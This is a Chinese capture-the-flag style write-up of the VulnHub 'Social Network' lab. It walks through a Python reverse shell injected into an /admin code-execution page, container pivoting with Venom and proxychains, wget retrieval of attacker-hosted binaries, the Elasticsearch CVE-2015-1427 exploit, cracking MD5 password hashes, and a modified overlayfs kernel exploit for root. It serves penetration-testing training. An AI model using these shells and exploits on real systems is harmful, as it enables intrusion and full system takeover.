一起来打靶 01

0x00 靶机介绍

靶机地址:BoredHackerBlog: Social Network ~ VulnHub

靶机难度:中

推荐虚拟机:VirtualBox

0x01 内容简介

  • 涉及的攻击方法
    • 主机发现
    • 端口扫描
    • 服务发现
    • 路径爬取
    • 代码注入
    • Shell脚本
    • 内网信息收集
    • 内网穿透
    • 漏洞利用
    • 密码破解
    • 本地提权
    • 攻击代码修改

0x02 环境搭建

下载好靶机.ova文件后导入到VirtualBox中即可

确保靶机和kali在同一网段中

kali IP地址:10.0.2.5

0x03 主机发现

因为靶机和kali在同一网段中,所以优先选择二层的主机发现技术

执行命令:sudo arp-scan -l

image-20220314202611823

共扫描到4个IP地址,其中前三个IP是VirtualBox正常运行所需要使用到的IP,所以只有最后一个IP地址:10.0.2.15是靶机的IP

拿到靶机的IP:10.0.2.15 后接下来进行全端口的扫描,探测靶机上都开启了哪些端口,哪些服务

执行命令:sudo nmap -p- 10.0.2.15

image-20220314203101933

从扫描的结果中得出靶机开启了两个端口,接下来对这两个端口进行服务版本的探测

执行命令:sudo nmap -p22,5000 -sV 10.0.2.15

image-20220314204142658

从扫描结果中可以得出

  • 22端口运行着OpenSSH服务,并且靶机应该是Ubuntu操作系统

  • 5000端口运行着httpd服务,通过Werkzeug关键词搜索得知这是基于python进行web开发的底层框架;这也就意味着服务器端运行的编程语言环境是python2.7,那么后期发现有代码执行漏洞的话就可以使用python脚本来反弹shell,从而获取控制权等

    image-20220314204722871

既然运行的是web应用,那就打开浏览器访问网站,看看有没有默认页面,如果有默认页面再看看有没有注入的点

访问:http://10.0.2.15:5000

image-20220315180402427

可以看出来这是一个社交网站,通过简单的安全性探测发现默认页面并没有明显的已知漏洞,也并不存在跨站脚本漏洞,没有什么收获

在对web应用渗透时,必做的一个常规操作是:web应用程序路径发现,看看那些隐藏的页面隐藏的路径中是否包含函数的提交点或者其他漏洞

web应用路径的爬取工具有很多,比如windows平台的御剑,本次在kali上使用dirsearch这个工具

通过爬取web应用路径,很有可能会发现后台地址,那么就可以对后台发起攻击,进而极大概率上可以帮助我们找到目标系统的突破点

执行命令:dirsearch -u http://10.0.2.15:5000/

image-20220314215957810

扫描完成,发现了一个路径,用浏览器访问一下:http://10.0.2.15:5000/admin

image-20220314220334459

访问发现这是一个代码执行的页面,结合上面收集到的信息得知服务端运行的是python2.7编程语言环境,所以可以尝试向页面表单中注入python代码来反弹shell

0x04 python反弹shell

使用搜索引擎搜索python反弹shell可以找到很多内容,比方说:python反弹shell_反弹Shell小结_何普的博客-CSDN博客

image-20220314221129890

# 红框部分大概意思是:创建一个可交互的sh和一个到192.168.118.128的TCP连接,然后将sh的输入输出错误都重定向到在192.168.118.128占用5555端口的进程上

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  # 创建套接字;AF_INET(TCP/IP – IPv4);SOCK_STREAM(TCP流)
s.connect(("192.168.118.128",5555));  # 要连接的ip地址和端口
os.dup2(s.fileno(),0);  # os.dup2()方法用于将一个文件描述符 fd 复制到另一个 fd2
os.dup2(s.fileno(),1);  # fileno()方法返回一个整型的文件描述符(file descriptor FD 整型),可用于底层操作系统的 I/O 操作
os.dup2(s.fileno(),2);  # 使用fileno()返回一个整型的文件描述符,并使用os.dup2(s.fileno(),0)把这个整型的文件描述符复制到后面的0三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。
p=subprocess.call(["/bin/sh","-i"]);  # subprocess.call()执行由参数提供的命令,返回命令的状态,0或者非0
                                      # 可以是["/bin/bash","-i"]或["/bin/sh","-i"]

参考如下

查看kali自己的IP

执行命令:ip a

image-20220314223836000

使用nc启动侦听

执行命令:nc -nvlp 4444

image-20220319011615077

然后在web页面上执行python反弹shell代码,这里只有["/bin/sh","-i"]可以成功运行,注意将ip改为kali的ip地址,端口改成nc侦听的端口

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image-20220314224345884

点击页面按钮Test code之后,nc监听这边有了反应,获得了一个反弹的shell

image-20220314224613973

简单的执行一下命令,查看当前路径和账户权限

image-20220314224827748

很幸运,拿到了root权限,但真的如此吗?

0x05 判断是否在docker容器里

Dockerfile 是一个用来构建镜像的文本文件,文本内容包含了一条条构建镜像所需的指令和说明。

Dockerfile 通常会作为在生产环境下标准化部署Docker容器,部署开发环境时所使用的模板文件,这个模板文件中会包含一系列的怎么样去引入docker映像、怎么样对doker映像进行配置、安装哪些软件包、修改哪些服务项等等;作为研发人员就可以将模板文件分发给应用的部署人员,从而可以在生产环境的服务器上统一的、标准化的、保持一致性的大批量部署docker容器。总而言之,Dockerfile就是标准化部署的模板文件。

使用ls命令时看到了Dockerfile文件,是否意味着取得的root权限的操作系统其实是一个docker容器中的系统

查看一下Dockerfile文件内容

执行命令:cat Dockerfile

image-20220314230321436

#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine  				# FROM:从docker hub上或者本地存储库中拉取镜像作为基本镜像,基础镜像选用alpine比较合适,这个镜像不到5M
COPY . /app  							# COPY:拷贝文件或目录到容器中,跟ADD类似,但不具备自动下载或解压的功能
WORKDIR /app							# WORKDIR:切换当前执行的工作目录
RUN pip install -r requirements.txt     # RUN:将在当前映像之上的新层中执行任何命令并提交结果。生成的提交映像将用于下一步Dockerfile
CMD ["python", "/app/main.py"]			# CMD:容器启动的命令,如果有多个则以最后一个为准,也可以为ENTRYPOINT提供参数

参考:Dockerfile的入坑路_Peithon的博客-CSDN博客_dockerfile run

可以看到这个Dockerfile文件内容是标准的dockerfile模板文件,查看完这个文件之后就更加深这是一个docker系统的怀疑

实锤这就是一个docker容器的两中方法(命令)

  1. 方法一(90%):查看系统根目录下是否存在.dockerenv文件,执行命令:ls /.dockerenv

    image-20220314231715308

  2. 方法二(100%):查看/proc/1/cgroup文件,执行命令:cat /proc/1/cgroup

    如果出现类似下面的内容的话就可以100%确定这是一个docker容器系统,而且docker容器的哈希值就放在后面

    原因:Linux系统启动后,1这个pid就代表这个计算机系统的初始化id,当初始化pid的cgroup文件中明确包含docker映像指示信息就100%证明当前系统是一个docker容器

    image-20220314232157850

这就实锤了拿到的root账号权限是在docker容器中

0x06 内网主机发现

查看当前docker容器系统的ip地址

执行命令:ip a

image-20220314232935701

得到ip地址:172.17.0.2,不同于之前发起攻击的靶机ip:10.0.2.15,进一步证实了这是一个docker容器系统,因为它们的ip都不一样

现在就可以将docker容器所处的网段视为内网网段,下一步的常见思路就是,在内网中进行主机发现,看看内网里还有没有其他的主机?如果有其他的主机是否存在已知的漏洞呢?是否可以利用这些漏洞攻击更多的内网系统呢?

在内网进行主机发现,靶机上没有kali中的众多工具,使用ping命令较为合适,子网掩码是16位,理论上有65535个IP地址,手工一个一个ping不太现实,需要借助自动化的工具,比较简单的方法就是写一个脚本使用循环对指定的内网内网段ping

# 扫描172.17.1.1 - 172.17.254.254并提取有回包的ip
for i in $(seq 1 254);do for j in $(seq 1 254);do ping -c 1 172.17.$i.$j | grep "ttl";done;done

由于这里打的靶机就不扫那么多了

执行命令:for i in $(seq 1 10);do ping -c 1 172.17.0.$i | grep "ttl";done

image-20220315154619576

一番扫描之后除去172.17.0.2是本机外,共扫出2个存活的IP地址,接下来就需要对172.17.0.1172.17.0.3进行端口扫描,看看它们上面开启了什么服务、有没有漏洞、是否可以渗透进去

0x07 内网穿透

由于172.17处于内网网段,kali无法直接访问到,要解决这个问题需要借助内网穿透技术,将kali到172.17内网之间的网络路由打通

利用venom这个工具可以很方便的在kali与内网之间建立一条隧道,然后基于这个隧道生成一个代理,使kali中的众多工具可以通过这个代理访问到目标靶机的内网

venom工具gitHub地址:GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers

首先下载venom压缩包到kali中,并解压

image-20220315160206228

查看目标系统的版本

执行命令:uname -a

image-20220315161152732

得到目标系统是Linux 64位,选择venomagent_linux_x64这个程序

image-20220315161503421

agent_linux_x64这个客户端传输到目标系统上,在本机上运行对应的服务端admin_linux_x64

kali本机运行admin_linux_x64,侦听9999端口

执行命令:./admin_linux_x64 -lport 9999

image-20220315161925710

目标系统需要先获取venom客户端,然后运行客户端连接到服务端,从而建立一条隧道

在kali上启动http服务,然后在目标系统上通过wget命令来获取agent_linux_x64客户端程序

在kali上启动http服务,执行命令:python3 -m http.server 80

image-20220315162432324

目标系统使用wget获取客户端程序

执行命令:wget http://10.0.2.5/agent_linux_x64

image-20220315162702225

赋予可执行权限

执行命令:chmod +x agent_linux_x64

image-20220315163113752

启动客户端程序,连接服务端,建立连接

执行命令:./agent_linux_x64 -rhost 10.0.2.5 -rport 9999

image-20220315163337986

image-20220315163544426

服务端启动socks侦听

image-20220315163934520

这样就在kali上启动了侦听在1080端口的socks5代理

为了让kali上的所有工具都可以挂代理访问内网,还需要使用proxychains这个工具

修改proxychains的配置文件,配置代理类型、IP、端口

执行命令:sudo vim /etc/proxychains4.conf

image-20220315164809114

0x08 内网端口扫描

使用namp对内网IP:172.17.0.1172.17.0.3进行端口扫描

执行命令:proxychains nmap -Pn -sT 172.17.0.1

image-20220315165341382

扫描结果显示开放了,22和5000两个端口,再对22和5000的服务版本扫描一下

执行命令:proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

image-20220315165645359

这个扫描结果似曾相识,和扫描10.0.2.15这个的结果一摸一样

通过浏览器访问一下172.17.0.1的5000端口kali

为方便切换代理,可在火狐浏览器中安装FoxyProxy Standard扩展,扩展地址:FoxyProxy Standard 下载

image-20220315170230490

FoxyProxy Standard扩展添加socks5代理

image-20220315170434402

image-20220315170514365

image-20220315170618225

浏览器使用代理

image-20220315170928443

访问内网172.17.0.1:5000

image-20220315182109825

显示的内容和之前访问http://10.0.2.15:5000所显示的内容完全一样,甚至手动测试的数据也可以看到,说明172.17.0.1就是10.0.2.15这台宿主机,只是172.17.0.1是面向容器内网的IP,所以172.17.0.1就是要攻击的目标靶机

接下来继续对172.17.0.3进行端口扫描

执行命令:proxychains nmap -Pn -sT 172.17.0.3

image-20220315184740930

扫描结果显示只开放了9200端口,再对这个端口上跑的服务扫描一下

执行命令:proxychains nmap -p9200 -Pn -sT -sV 172.17.0.3

image-20220315185014746

从扫描结果中得出9200上跑的是Elasticsearch,版本是1.4.2

0x09 Elasticsearch RCE

Elasticsearch在历史版本中曾经出现过几次非常严重的漏洞,最严重的都是一些RCE远程代码执行漏洞

使用searchsploit搜索kali是否有包含Elasticsearch已知漏洞利用代码

执行命令:searchsploit Elasticsearch

image-20220315190258086

搜索结果中的前两个是远程代码执行漏洞,可以优先把这两个漏洞利用代码复制过来,挨个尝试,看看能否攻入Elasticsearch服务器

首先尝试36337.py这个漏洞利用代码,将其复制到当前目录下

执行命令:cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

image-20220315191230536

可以简单查看一下这个python脚本,看看如何利用漏洞的

image-20220315191402461

可以看到这个脚本是用python2来编写的

运行这个脚本,执行代码:python2 36337.py

image-20220315191610775

通过提示得到后面要加上目标的IP

再次执行命令:proxychains python2 36337.py 172.17.0.3

image-20220315191817793

很快就得到了结果,尝试输入id命令,查看获取到的账号权限

执行命令:id

image-20220315191954324

发现脚本报错退出了运行,不得不寻找问题,解决报错,从提示信息中可以得出这个漏洞的编号是CVE-2015-1427

使用搜索引擎搜索CVE-2015-1427,看看是如何利用的,参考链接:CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞) - 浅笑996 - 博客园 (cnblogs.com)

image-20220315192441131

漏洞的利用步骤是

  1. 插入数据
  2. 利用刚刚插入的数据构造Payload

现在再次来看看kali中复制过来的漏洞利用代码

执行命令:vim 36337.py

image-20220315192955494

对比参考链接中的payload和python脚本中的payload,可以发现大多数内容都是一样的,唯一不同的是参考链接中利用的Payload中的键test#是提前插入进Elasticsearch中,而python脚本中的Payload中的键lupin并没有事先插入进Elasticsearch中,那么将lupin插入到Elasticsearch后这个python脚本是否就可以正常运行了呢?值得尝试一下

使用burpsuite,挂上socks5代理,向Elasticsearch发起post请求,插入数据lupin

首先打开burpsuite

image-20220315193821316

查看burpsuite代理端口

image-20220315194136340

配置burpsuite使用socks代理

image-20220315194856194

配置浏览器使用burpsuite代理

image-20220315194343059

image-20220315194451530

使用浏览器访问http://172.17.0.3:9200

image-20220315231208502

burpsuite抓到的请求数据包发送到Repeater模块

修改HTTP数据包内容为插入lupin格式,点击发送

image-20220315231550155

创建成功后,重新尝试执行命令:proxychains python2 36337.py 172.17.0.3

image-20220315231804320

id命令执行成功!又拿到了一个root账号,但这仅仅是个容器系统的root权限

执行命令:cat /proc/1/cgroup

image-20220315232241024

0x0a 内核漏洞提权

在这个容器系统中进行信息收集,经过一番查找,在根目录发现了一个文件名为passwords的文件

执行命令:ls /

image-20220315232448038

这里面是否包含比较机密的密码呢?出于好奇

执行命令:cat /passwords

image-20220315232652508

发现这的确是一个账号密码文件,前面是账号,后面是密码的hash值

通过网上的md5密文查询网站中,查询到了全部密文对应的明文。查询链接:MD5免费在线解密破解_MD5在线加密-SOMD5

账号 密码(密文) 密码(明文)
john 3f8184a7343664553fcb5337a3138814 1337hack
test 861f194e9d6118f3d942a72be3e51749 1234test
admin 670c3bbc209a18dde5446e5e6c1f1d5b 1111pass
root b3d34352fc26117979deabdf1b9b6354 1234pass
jane 5c158b60ed97c723b673529b8a3cf72b 1234jane

拿着这些账号密码,可以尝试登录开放了22端口的IP地址,首当其冲10.0.2.15

一番尝试之后,惊喜的发现账号john竟然可以成功登录到10.0.2.15,遗憾的是其余的都不行

执行命令:ssh john@10.0.2.15

image-20220315233720888

成功登录至目标靶机

账号john目前是唯一可以利用的账号,看看这个账号是否可以把自己提升为root,如果可以,本次打靶就大功告成了

执行命令:sudo -s

image-20220315234101765

很不幸并不可以,并没有sudo的权限

若还想要获取root权限的话无外乎就是进行本地提权

本地提权的方法有很多,但是最主要的方法是利用内核漏洞来进行提权

查看系统内核,执行命令:uname -a

image-20220315234406002

可以看到目标系统使用的内核版本是3.13,非常古老的版本,对于这么古老的版本一般都会存在内核漏洞

再次利用searchsploit搜索关于linux 3.13漏洞利用代码

执行命令:searchsploit linux 3.13

image-20220315234913385

搜索到了很多的结果,随便挑选一个本地提权的漏洞利用代码

在真实的渗透场景下,真实的项目过程中,这个环节也是可能会发现很多的漏洞利用的版本,我们需要挨个在目标系统上尝试

比如说使用37292.c这个漏洞利用版本,先拷贝到当前目录

执行命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image-20220315235353332

查看这个文件的代码

执行命令:vim 37292.c

image-20220315235806784

通过查看说明部分,发现这是一个C语言源代码文件,运行之前需要使用gcc先编译

然而在目标系统上执行命令:gcc

image-20220315235943865

结果显示目标系统上并没有安装gcc,所以需要先在kali上先编译好,然后再传输到目标靶机上运行

在目标靶机上运行任何漏洞利用代码之前都强烈建议能够先阅读一下即将执行的漏洞利用代码

再次查看源码,执行命令:vim 37292.c

image-20220316000723238

通过查看源码发现

  1. 在第139-147行,通过C代码再次执行了gcc命令,将ofs-lib.c编译为ofs-lib.so文件,所以即便在kali上事先编译好了,但是当在目标系统上运行的时候由于目标系统上并没有安装gcc还是会报错;解决的方法有很多,比较简单直接的方法是修改源码内容,将编译部分删除,然后在kali中寻找有没有现成的ofs-lib.so文件
  2. 148行,读取了/tmp/ofs-lib.so文件,所以在目标系统上执行的时候,需要将ofs-lib.so文件放到tmp目录下才可以成功读取到这个文件

修改源码文件,删除原先的第139-147行,修改后的内容如下

image-20220316001313097

编译修改后的C源码

执行命令:gcc -o exp 37292.c

image-20220316001424956

编译过程报了一些警告无伤大雅,不会影响最终执行结果

查找kali中是否有ofs-lib.so文件

执行命令:locate ofs-lib.so

image-20220316001759350

结果发现还真的有,复制到当前目录下

执行命令:cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

image-20220316001953858

在kali上启动HTTP服务,在目标靶机通过wget命令下载这两个文件

启动HTTP服务,执行命令:python3 -m http.server 80

image-20220316002140117

目标靶机下载这两个文件

执行命令:

  • wget http://10.0.2.5/exp

  • wget http://10.0.2.5/ofs-lib.so

image-20220316002341071

为确保成功运行,需要将ofs-lib.so移动到/tmp目录下,索性直接将两个文件都移到/tmp目录下

执行命令:mv * /tmp

image-20220316002739917

赋予exp可执行权限

执行命令:chmod +x exp

image-20220316002936170

执行exp程序,提升权限

执行命令:./exp

image-20220316003123165

可喜可贺,成功提升到了root权限,本次打靶圆满完成!

0x0b 总结

  • 打靶过程文字概述

    1. 先进行主机发现,然后对已发现的主机进行了端口扫描以及服务的扫描
    2. 扫描结束之后发现在目标靶机上5000端口跑了一个web应用,尝试使用浏览器访问这个web应用
    3. 在web应用默认页面下没有收获任何的已知漏洞,接下来使用dirsearch命令对web应用路径进行探测
    4. 发现了一个/admin后台的路径,在这个后台页面存在远程代码执行漏洞,利用这个漏洞获取到了一个目标系统的反弹shell
    5. 但是获取到这个shell之后,发现自己被困在一个docker容器的系统当中,基于这个容器系统对于内网的IP地址段进行主机发现
    6. 在内网主机发现的过程中,识别出了两个IP地址:172.17.0.1172.17.0.3
    7. 随即建立了内网穿透隧道,开启了socks代理,对内网已探测到存活的主机进行全端口以及服务的扫描
    8. 在扫描的过程中发现在172.17.0.3开启了9200端口,对应跑的应用程序是Elasticsearch
    9. 尝试对Elasticsearch进行已有漏洞的利用攻击,成功的拿下172.17.0.3这台主机
    10. 在这台主机中继续进行信息收集,发现了在根目录下有一个名为passwords文件
    11. 在文件内容中收获到了john账号以及密码的hash值,通过在线的密码破解工具,查询到了对应的明文密码
    12. 拿到账号密码之后尝试在内网所有开启了22端口的主机上进行登录,最终结果是成功登录到了靶机系统上
    13. 但是登录成功后又遇到了一个难题,账号john只是一个普通账号,没有sudo权限
    14. 不得不进行提权操作,通过uname -a发现目标系统内核是很古老的版本,挑选了一个针对内核漏洞进行利用的代码
    15. 但是这个漏洞利用代码无法在目标系统上进行gcc的编译,所以在kali上修改了源代码,删除了其中调用gcc编译的部分代码之后进行编译,并在kali找到了所依赖的二进制库文件
    16. 将这两个文件一起传输到目标系统上,通过在目标系统上执行编译好的程序,最终拿到了root权限
  • 打靶过程对应的视频链接:点击查看

posted @ 2022-03-21 17:20  W00L00  阅读(253)  评论(0编辑  收藏  举报